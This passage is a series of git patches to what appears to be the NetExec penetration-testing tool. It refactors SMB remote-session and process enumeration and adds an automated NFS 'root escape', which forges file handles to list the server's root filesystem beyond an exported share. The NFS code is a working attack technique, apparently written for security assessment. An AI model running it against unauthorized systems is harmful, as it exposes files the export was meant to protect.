nxc/protocols/smb/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 8ce85dc8..0dc77a5a 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -41,7 +41,7 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces") mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)") mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'") - mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions") + mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="enumerate active smb sessions") mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks") mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users") From 74e6aa03c161ef43a6cee33f2d47aff9621da5aa Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 12:54:51 -0500 Subject: [PATCH 56/78] Pass local object to functions istead of using a class variable, alread in use --- nxc/protocols/smb.py | 75 ++++++++++++++++++++++---------------------- 1 file changed, 38 insertions(+), 37 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 16a0d8b4..ed0b82f2 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -841,11 +841,11 @@ class smb(connection): handle = lsm.hRpcOpenEnum() rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] lsm.hRpcCloseEnum(handle) - self.sessions = {} + sessions = {} for i in rsessions: sess = i["SessionInfo"]["SessionEnum_Level1"] state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] - self.sessions[sess["SessionId"]] = { + sessions[sess["SessionId"]] = { "state": state, "SessionName": sess["Name"], "RemoteIp": "", @@ -855,24 +855,25 @@ class smb(connection): "Resolution": "", "ClientTimeZone": "" } + return sessions - def enumerate_sessions_info(self): - if len(self.sessions): + def enumerate_sessions_info(self, sessions): + if len(sessions): with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession: - for SessionId in self.sessions: + for SessionId in sessions: sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) - self.sessions[SessionId]["flags"] = sessflags + sessions[SessionId]["flags"] = sessflags domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] - if not len(self.sessions[SessionId]["Domain"]) and len(domain): - self.sessions[SessionId]["Domain"] = domain + if not len(sessions[SessionId]["Domain"]) and len(domain): + sessions[SessionId]["Domain"] = domain username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"] - if not len(self.sessions[SessionId]["Username"]) and len(username): - self.sessions[SessionId]["Username"] = username - self.sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"] - self.sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] - self.sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] - self.sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] + if not len(sessions[SessionId]["Username"]) and len(username): + sessions[SessionId]["Username"] = username + sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"] + sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] + sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] + sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] @requires_admin def qwinsta(self): @@ -881,22 +882,22 @@ class smb(connection): "WTS_SESSIONSTATE_LOCK": "Locked", "WTS_SESSIONSTATE_UNLOCK": "Unlocked", } - self.get_session_list() - if not len(self.sessions): + sessions = self.get_session_list() + if not len(sessions): return - self.enumerate_sessions_info() + self.enumerate_sessions_info(sessions) - maxSessionNameLen = max([len(self.sessions[i]["SessionName"])+1 for i in self.sessions]) + maxSessionNameLen = max([len(sessions[i]["SessionName"])+1 for i in sessions]) maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME")+1 - maxUsernameLen = max([len(self.sessions[i]["Username"]+self.sessions[i]["Domain"])+1 for i in self.sessions])+1 + maxUsernameLen = max([len(sessions[i]["Username"]+sessions[i]["Domain"])+1 for i in sessions])+1 maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username")+1 - maxIdLen = max([len(str(i)) for i in self.sessions]) + maxIdLen = max([len(str(i)) for i in sessions]) maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID")+1 - maxStateLen = max([len(self.sessions[i]["state"])+1 for i in self.sessions]) + maxStateLen = max([len(sessions[i]["state"])+1 for i in sessions]) maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE")+1 - maxRemoteIp = max([len(self.sessions[i]["RemoteIp"])+1 for i in self.sessions]) + maxRemoteIp = max([len(sessions[i]["RemoteIp"])+1 for i in sessions]) maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress")+1 - maxClientName = max([len(self.sessions[i]["ClientName"])+1 for i in self.sessions]) + maxClientName = max([len(sessions[i]["ClientName"])+1 for i in sessions]) maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName")+1 template = ("{SESSIONNAME: <%d} " "{USERNAME: <%d} " @@ -931,20 +932,20 @@ class smb(connection): header2_verbose = "" result.extend((header + header_verbose, header2 + header2_verbose + "\n")) - for i in self.sessions: - connectTime = self.sessions[i]["ConnectTime"] + for i in sessions: + connectTime = sessions[i]["ConnectTime"] connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" - disconnectTime = self.sessions[i]["DisconnectTime"] + disconnectTime = sessions[i]["DisconnectTime"] disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" - userName = self.sessions[i]["Domain"] + "\\" + self.sessions[i]["Username"] if len(self.sessions[i]["Username"]) else "" + userName = sessions[i]["Domain"] + "\\" + sessions[i]["Username"] if len(sessions[i]["Username"]) else "" row = template.format( - SESSIONNAME=self.sessions[i]["SessionName"], + SESSIONNAME=sessions[i]["SessionName"], USERNAME=userName, ID=i, - STATE=self.sessions[i]["state"], - DSTATE=desktop_states[self.sessions[i]["flags"]], + STATE=sessions[i]["state"], + DSTATE=desktop_states[sessions[i]["flags"]], CONNTIME=connectTime, DISCTIME=disconnectTime, ) @@ -960,20 +961,20 @@ class smb(connection): with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy: try: handle = legacy.hRpcWinStationOpenServer() - r = legacy.hRpcWinStationGetAllProcesses(handle) - except: + res = legacy.hRpcWinStationGetAllProcesses(handle) + except Exception as e: # TODO: Issue https://github.com/fortra/impacket/issues/1816 - self.logger.debug("Exception while calling hRpcWinStationGetAllProcesses") + self.logger.debug(f"Exception while calling hRpcWinStationGetAllProcesses: {e}") return - if not len(r): + if not res: return self.logger.success("Enumerated processes") - maxImageNameLen = max([len(i["ImageName"]) for i in r]) - maxSidLen = max([len(i["pSid"]) for i in r]) + maxImageNameLen = max([len(i["ImageName"]) for i in res]) + maxSidLen = max([len(i["pSid"]) for i in res]) template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) - for procInfo in r: + for procInfo in res: row = template.format( procInfo["ImageName"], procInfo["UniqueProcessId"], From 53b42df414d3fae9cc60d7fc2e87e99e14147f52 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 13:53:08 -0500 Subject: [PATCH 57/78] Add IPv4 to qwinsta output --- nxc/protocols/smb.py | 24 ++++++++++++++++-------- 1 file changed, 16 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index ed0b82f2..bea5c66c 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -874,6 +874,15 @@ class smb(connection): sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] + with TSTS.RCMPublic(self.conn, self.host, self.kerberos) as rcm: + for SessionId in sessions: + try: + client = rcm.hRpcGetRemoteAddress(SessionId) + if not client: + continue + sessions[SessionId]["RemoteIp"] = client["pRemoteAddress"]["ipv4"]["in_addr"] + except Exception as e: + self.logger.debug(f"Error getting client address for session {SessionId}: {e}") @requires_admin def qwinsta(self): @@ -902,6 +911,7 @@ class smb(connection): template = ("{SESSIONNAME: <%d} " "{USERNAME: <%d} " "{ID: <%d} " + "{IPv4: <16} " "{STATE: <%d} " "{DSTATE: <9} " "{CONNTIME: <20} " @@ -912,6 +922,7 @@ class smb(connection): SESSIONNAME="SESSIONNAME", USERNAME="USERNAME", ID="ID", + IPv4="RemoteAddress", STATE="STATE", DSTATE="Desktop", CONNTIME="ConnectTime", @@ -922,15 +933,13 @@ class smb(connection): SESSIONNAME="", USERNAME="", ID="", + IPv4="", STATE="", DSTATE="", CONNTIME="", DISCTIME="", ) - - header_verbose = "" - header2_verbose = "" - result.extend((header + header_verbose, header2 + header2_verbose + "\n")) + result.extend((header, header2)) for i in sessions: connectTime = sessions[i]["ConnectTime"] @@ -940,17 +949,16 @@ class smb(connection): disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" userName = sessions[i]["Domain"] + "\\" + sessions[i]["Username"] if len(sessions[i]["Username"]) else "" - row = template.format( + result.append(template.format( SESSIONNAME=sessions[i]["SessionName"], USERNAME=userName, ID=i, + IPv4=sessions[i]["RemoteIp"], STATE=sessions[i]["state"], DSTATE=desktop_states[sessions[i]["flags"]], CONNTIME=connectTime, DISCTIME=disconnectTime, - ) - row_verbose = "" - result.append(row+row_verbose) + )) self.logger.success("Enumerated qwinsta sessions") for row in result: From ca5a076f1ed40c1c056b9617e8a69705d2fce97a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 16:09:41 -0500 Subject: [PATCH 58/78] Add IPv4 to qwinsta output --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index bea5c66c..e1b2c7f6 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -922,7 +922,7 @@ class smb(connection): SESSIONNAME="SESSIONNAME", USERNAME="USERNAME", ID="ID", - IPv4="RemoteAddress", + IPv4="IPv4 Address", STATE="STATE", DSTATE="Desktop", CONNTIME="ConnectTime", From 5da61176b4e3603d56406415f5913d205585c27e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 17:46:23 -0500 Subject: [PATCH 59/78] Linting --- nxc/protocols/smb.py | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 7ad04378..b74f007d 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -930,18 +930,18 @@ class smb(connection): return self.enumerate_sessions_info(sessions) - maxSessionNameLen = max([len(sessions[i]["SessionName"])+1 for i in sessions]) - maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME")+1 - maxUsernameLen = max([len(sessions[i]["Username"]+sessions[i]["Domain"])+1 for i in sessions])+1 - maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username")+1 + maxSessionNameLen = max([len(sessions[i]["SessionName"]) + 1 for i in sessions]) + maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME") + 1 + maxUsernameLen = max([len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions]) + 1 + maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username") + 1 maxIdLen = max([len(str(i)) for i in sessions]) - maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID")+1 - maxStateLen = max([len(sessions[i]["state"])+1 for i in sessions]) - maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE")+1 - maxRemoteIp = max([len(sessions[i]["RemoteIp"])+1 for i in sessions]) - maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress")+1 - maxClientName = max([len(sessions[i]["ClientName"])+1 for i in sessions]) - maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName")+1 + maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID") + 1 + maxStateLen = max([len(sessions[i]["state"]) + 1 for i in sessions]) + maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE") + 1 + maxRemoteIp = max([len(sessions[i]["RemoteIp"]) + 1 for i in sessions]) + maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1 + maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions]) + maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1 template = ("{SESSIONNAME: <%d} " "{USERNAME: <%d} " "{ID: <%d} " @@ -1022,7 +1022,7 @@ class smb(connection): procInfo["UniqueProcessId"], procInfo["SessionId"], procInfo["pSid"], - "{:,} K".format(procInfo["WorkingSetSize"]//1000), + "{:,} K".format(procInfo["WorkingSetSize"] // 1000), ) self.logger.highlight(row) From 4571f93dce7f4770ae6efdc81868cd22e387d10e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Feb 2025 17:35:48 -0500 Subject: [PATCH 60/78] Working on nfs root escape --- nxc/protocols/nfs.py | 74 +++++++++++++++++++++++++++++++++++--------- 1 file changed, 59 insertions(+), 15 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 6f310940..5a7d7b8b 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -3,16 +3,15 @@ from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight from pyNfsClient import ( Portmap, - Mount, - NFSv3, - NFS_PROGRAM, - NFS_V3, - ACCESS3_READ, - ACCESS3_MODIFY, - ACCESS3_EXECUTE, - NFSSTAT3, - NF3DIR, - ) + Mount, + NFSv3, + NFS_PROGRAM, + NFS_V3, + ACCESS3_READ, + ACCESS3_MODIFY, + ACCESS3_EXECUTE, + NFSSTAT3, +) import re import uuid import math @@ -403,7 +402,49 @@ class nfs(connection): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") - def get_root_handle(self, file_handle): + class FileID: + root = "root" + ext = "ext/xfs" + btrfs = "btrfs" + udf = "udf" + nilfs = "nilfs" + fat = "fat" + lustre = "lustre" + kernfs = "kernfs" + invalid = "invalid" + unknown = "unknown" + + fileid_types = { + 0: FileID.root, + 1: FileID.ext, + 2: FileID.ext, + 0x81: FileID.ext, + 0x4d: FileID.btrfs, + 0x4e: FileID.btrfs, + 0x4f: FileID.btrfs, + 0x51: FileID.udf, + 0x52: FileID.udf, + 0x61: FileID.nilfs, + 0x62: FileID.nilfs, + 0x71: FileID.fat, + 0x72: FileID.fat, + 0x97: FileID.lustre, + 0xfe: FileID.kernfs, + 0xff: FileID.invalid + } + + fsid_lens = { + 0: 8, + 1: 4, + 2: 12, + 3: 8, + 4: 8, + 5: 8, + 6: 16, + 7: 24, + } + + def get_root_handles(self, mount_fh): """ Get the root handle of the NFS share Sources: @@ -416,9 +457,11 @@ class nfs(connection): - 1 byte: 0xXX fb_fsid_type -> determines the length of the fsid - 1 byte: 0xXX fb_fileid_type """ - fh = bytearray(file_handle) + dir_data = self.nfs3.listdir(mount_fh, auth=self.auth) + print(dir_data) + fh = bytearray(mount_fh) # Concatinate old header with root Inode and Generation id - return bytes(fh[:3] + int.to_bytes(NF3DIR) + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") + return bytes(fh[:3] + b"\x02" + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") def ls(self): nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) @@ -432,8 +475,8 @@ class nfs(connection): for share in ["/var/nfs/general"]: mount_info = self.mount.mnt(share, self.auth) - fh = mount_info["mountinfo"]["fhandle"] - root_fh = self.get_root_handle(fh) + mount_fh = mount_info["mountinfo"]["fhandle"] + root_fh = self.get_root_handles(mount_fh) # pprint(self.nfs3.readdir(root_fh, auth=self.auth)) @@ -445,6 +488,7 @@ class nfs(connection): content = entry["nextentry"] if "nextentry" in entry else None self.mount.umnt(self.auth) + def convert_size(size_bytes): if size_bytes == 0: return "0B" From d87c379ac5628459db5dde1add598ef1e26aa08a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Feb 2025 19:27:53 -0500 Subject: [PATCH 61/78] NFS root escape automated for each share --- nxc/protocols/nfs.py | 188 +++++++++++++++++++++++++++++-------------- 1 file changed, 127 insertions(+), 61 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 3994477f..798c0d27 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -21,6 +21,52 @@ import os from pprint import pprint +class FileID: + root = "root" + ext = "ext/xfs" + btrfs = "btrfs" + udf = "udf" + nilfs = "nilfs" + fat = "fat" + lustre = "lustre" + kernfs = "kernfs" + invalid = "invalid" + unknown = "unknown" + + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 +fileid_types = { + 0: FileID.root, + 1: FileID.ext, + 2: FileID.ext, + 0x81: FileID.ext, + 0x4d: FileID.btrfs, + 0x4e: FileID.btrfs, + 0x4f: FileID.btrfs, + 0x51: FileID.udf, + 0x52: FileID.udf, + 0x61: FileID.nilfs, + 0x62: FileID.nilfs, + 0x71: FileID.fat, + 0x72: FileID.fat, + 0x97: FileID.lustre, + 0xfe: FileID.kernfs, + 0xff: FileID.invalid +} + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45 +fsid_lens = { + 0: 8, + 1: 4, + 2: 12, + 3: 8, + 4: 8, + 5: 8, + 6: 16, + 7: 24, +} + + class nfs(connection): def __init__(self, args, db, host): self.protocol = "nfs" @@ -402,66 +448,70 @@ class nfs(connection): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") - class FileID: - root = "root" - ext = "ext/xfs" - btrfs = "btrfs" - udf = "udf" - nilfs = "nilfs" - fat = "fat" - lustre = "lustre" - kernfs = "kernfs" - invalid = "invalid" - unknown = "unknown" - - fileid_types = { - 0: FileID.root, - 1: FileID.ext, - 2: FileID.ext, - 0x81: FileID.ext, - 0x4d: FileID.btrfs, - 0x4e: FileID.btrfs, - 0x4f: FileID.btrfs, - 0x51: FileID.udf, - 0x52: FileID.udf, - 0x61: FileID.nilfs, - 0x62: FileID.nilfs, - 0x71: FileID.fat, - 0x72: FileID.fat, - 0x97: FileID.lustre, - 0xfe: FileID.kernfs, - 0xff: FileID.invalid - } - - fsid_lens = { - 0: 8, - 1: 4, - 2: 12, - 3: 8, - 4: 8, - 5: 8, - 6: 16, - 7: 24, - } - def get_root_handles(self, mount_fh): """ - Get the root handle of the NFS share + Get possible root handles to escape to the root filesystem Sources: - https://github.com/spotify/linux/blob/master/include/linux/nfsd/nfsfh.h + https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62 + https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py Usually: - 1 byte: 0x01 fb_version - - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth) - - 1 byte: 0xXX fb_fsid_type -> determines the length of the fsid - - 1 byte: 0xXX fb_fileid_type + - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel + - 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved + - 1 byte: 0xXX fb_fileid_type -> determines the filesystem type """ - dir_data = self.nfs3.listdir(mount_fh, auth=self.auth) - print(dir_data) + # First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3]) + # See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth)) + filesystem = FileID.unknown + for entry in dir_data: + # Check if "." is already the root directory + if entry["name"] == b".": + if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]: + self.logger.debug("Exported share is already the root directory") + return [entry["name_handle"]["handle"]["data"]] + elif entry["name"] == b"..": + continue + else: + try: + fid_type = entry["name_handle"]["handle"]["data"][3] + if fid_type in fileid_types: + filesystem = fileid_types[fid_type] + self.logger.info(f"Found filesystem type: {filesystem}") + break + except Exception as e: + self.logger.debug(f"Error on getting filesystem type: {e}") + continue + + self.logger.debug(f"Filesystem type: {filesystem}") + + # Generate the root handle depending on the filesystem type and preserve the file_id (respect the length) + fh_fsid_type = mount_fh[2] + fh_fsid_len = fsid_lens[fh_fsid_type] + root_handles = [] + + # Generate possible root handles + # General syntax: 4 byte header + fsid + fileid + # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) - # Concatinate old header with root Inode and Generation id - return bytes(fh[:3] + b"\x02" + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") + if filesystem in [FileID.ext, FileID.unknown]: + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) + if filesystem in [FileID.btrfs, FileID.unknown]: + # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling + for i in range(16): + subvolume = int.to_bytes(i) + b"\x01\x00\x00" + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) + + return root_handles + + def try_root_escape(self, mount_fh): + possible_root_fhs = self.get_root_handles(mount_fh) + for fh in possible_root_fhs: + if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): + return fh def ls(self): nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) @@ -473,20 +523,36 @@ class nfs(connection): reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names shares = list(reg.findall(output_export)) - for share in ["/var/nfs/general"]: + for share in shares: mount_info = self.mount.mnt(share, self.auth) mount_fh = mount_info["mountinfo"]["fhandle"] - root_fh = self.get_root_handles(mount_fh) + root_fh = self.try_root_escape(mount_fh) + if not root_fh: + self.mount.umnt(self.auth) + continue - # pprint(self.nfs3.readdir(root_fh, auth=self.auth)) - - content = self.nfs3.readdir(root_fh, auth=self.auth)["resok"]["reply"]["entries"] - self.logger.success(f"Using share '{share}' for escape to root fs") - while content: - for entry in content: - self.logger.highlight(f"{entry['name'].decode()}") - content = entry["nextentry"] if "nextentry" in entry else None + self.logger.success(f"Successful escape on share: {share}") + content = self.format_directory(self.nfs3.readdir(root_fh, auth=self.auth)) + for entry in content: + self.logger.highlight(f"{entry['name'].decode()}") self.mount.umnt(self.auth) + break + + def format_directory(self, raw_directory): + """Convert the chained directory entries to a list of the entries""" + if "resfail" in raw_directory: + self.logger.debug("Insufficient Permissions, NFS returned 'resfail'") + return {} + items = [] + nextentry = raw_directory["resok"]["reply"]["entries"][0] + while nextentry: + entry = nextentry + nextentry = entry["nextentry"][0] if entry["nextentry"] else None + entry.pop("nextentry") + items.append(entry) + + # Sort by name to be linux-like + return sorted(items, key=lambda x: x["name"].decode()) def convert_size(size_bytes): From de95d01c64840488d6eb9e9e2b0297d7f24c0b7f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 10:14:17 -0500 Subject: [PATCH 62/78] Add check for root escape --- nxc/protocols/nfs.py | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 798c0d27..60716cac 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,6 +1,8 @@ +from termcolor import colored from nxc.connection import connection from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight +from nxc.config import host_info_colors from pyNfsClient import ( Portmap, Mount, @@ -20,7 +22,6 @@ import os from pprint import pprint - class FileID: root = "root" ext = "ext/xfs" @@ -81,6 +82,10 @@ class nfs(connection): "gid": 0, "aux_gid": [], } + self.root_escape = False + # If root escape is possible, the escape_share and escape_fh will be populated + self.escape_share = None + self.escape_fh = b"" connection.__init__(self, args, db, host) def proto_logger(self): @@ -122,12 +127,20 @@ class nfs(connection): for program in programs: if program["program"] == NFS_PROGRAM: self.nfs_versions.add(program["version"]) - return self.nfs_versions except Exception as e: self.logger.debug(f"Error checking NFS version: {self.host} {e}") + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + # Check if root escape is possible + self.root_escape = self.try_root_escape() + self.nfs3.disconnect() + def print_host_info(self): - self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})") + root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"]) + self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})") def disconnect(self): """Disconnect mount and portmap if they are connected""" @@ -479,7 +492,7 @@ class nfs(connection): fid_type = entry["name_handle"]["handle"]["data"][3] if fid_type in fileid_types: filesystem = fileid_types[fid_type] - self.logger.info(f"Found filesystem type: {filesystem}") + self.logger.debug(f"Found filesystem type: {filesystem}") break except Exception as e: self.logger.debug(f"Error on getting filesystem type: {e}") From 9e4366f97fa67726a97cf8b8f6cd78967abb595b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 12:59:52 -0500 Subject: [PATCH 63/78] Add implementation for 'ls' --- nxc/protocols/nfs.py | 122 ++++++++++++++++++++++++++------ nxc/protocols/nfs/proto_args.py | 1 + 2 files changed, 102 insertions(+), 21 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 60716cac..46e41018 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -7,12 +7,16 @@ from pyNfsClient import ( Portmap, Mount, NFSv3, +) +from pyNfsClient.const import ( NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3, + NFS3ERR_NOENT, + NF3REG, ) import re import uuid @@ -22,6 +26,7 @@ import os from pprint import pprint + class FileID: root = "root" ext = "ext/xfs" @@ -520,36 +525,104 @@ class nfs(connection): return root_handles - def try_root_escape(self, mount_fh): - possible_root_fhs = self.get_root_handles(mount_fh) - for fh in possible_root_fhs: - if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): - return fh + def try_root_escape(self) -> bool: + """With an established connection look for a share that can be escaped to the root filesystem""" + if not self.nfs3: + raise Exception("NFS connection is not established") + + output_export = str(self.mount.export()) + reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names + shares = list(reg.findall(output_export)) + + self.logger.debug(f"Trying root escape on shares: {shares}") + for share in shares: + mount_info = self.mount.mnt(share, self.auth) + mount_fh = mount_info["mountinfo"]["fhandle"] + try: + possible_root_fhs = self.get_root_handles(mount_fh) + for fh in possible_root_fhs: + if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): + self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}") + self.escape_share = share + self.escape_fh = fh + self.mount.umnt(self.auth) + return True + except Exception as e: + self.logger.debug(f"Error trying root escape on share '{share}': {e}") + self.mount.umnt(self.auth) + return False def ls(self): + # Connect to NFS nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - output_export = str(self.mount.export()) + # Remove leading slashes + self.args.ls = self.args.ls.lstrip("/").rstrip("/") - reg = 